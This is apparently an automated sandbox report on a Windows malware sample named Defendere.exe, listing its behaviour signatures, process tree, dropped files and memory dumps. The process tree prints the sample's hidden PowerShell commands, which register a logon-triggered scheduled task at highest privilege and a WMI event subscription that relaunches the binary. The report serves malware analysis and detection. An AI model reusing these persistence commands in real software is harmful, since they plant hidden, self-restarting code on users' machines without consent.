Analysis

  • max time kernel
    67s
  • max time network
    59s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 18:12

General

  • Target
    Defendere.exe
  • Size 8.4MB
  • Sample260623-ws8rfsey4j
  • SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Defendere.exe
    "C:\Users\Admin\AppData\Local\Temp\Defendere.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5892
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Defendere_f64964235'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Defendere_c64964235'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Defendere_f64964235'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Defendere_c64964235'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:844

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_h2uuajci.4e2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2uuajci.4e2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-3961672848.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-3961672848.tmp
        • Size 8.4MB
        • SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/5892-19-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-22-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-13-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-14-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-15-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-16-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-17-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-18-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-8-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-20-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-21-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-12-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-23-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-26-0x000001C9BB1D0000-0x000001C9BB1EE000-memory.dmp

        memory/5892-27-0x000001C9BB1F0000-0x000001C9BB2A2000-memory.dmp

        memory/5892-30-0x000001C9BB2B0000-0x000001C9BB2BA000-memory.dmp

        memory/5892-33-0x000001C9BB2E0000-0x000001C9BB2FE000-memory.dmp

        memory/5892-7-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-36-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-11-0x000001C9BB140000-0x000001C9BB162000-memory.dmp

        memory/5892-44-0x00007FFB57B90000-0x00007FFB58534000-memory.dmp

        memory/5892-6-0x00007FFB57D1F000-0x00007FFB57D20000-memory.dmp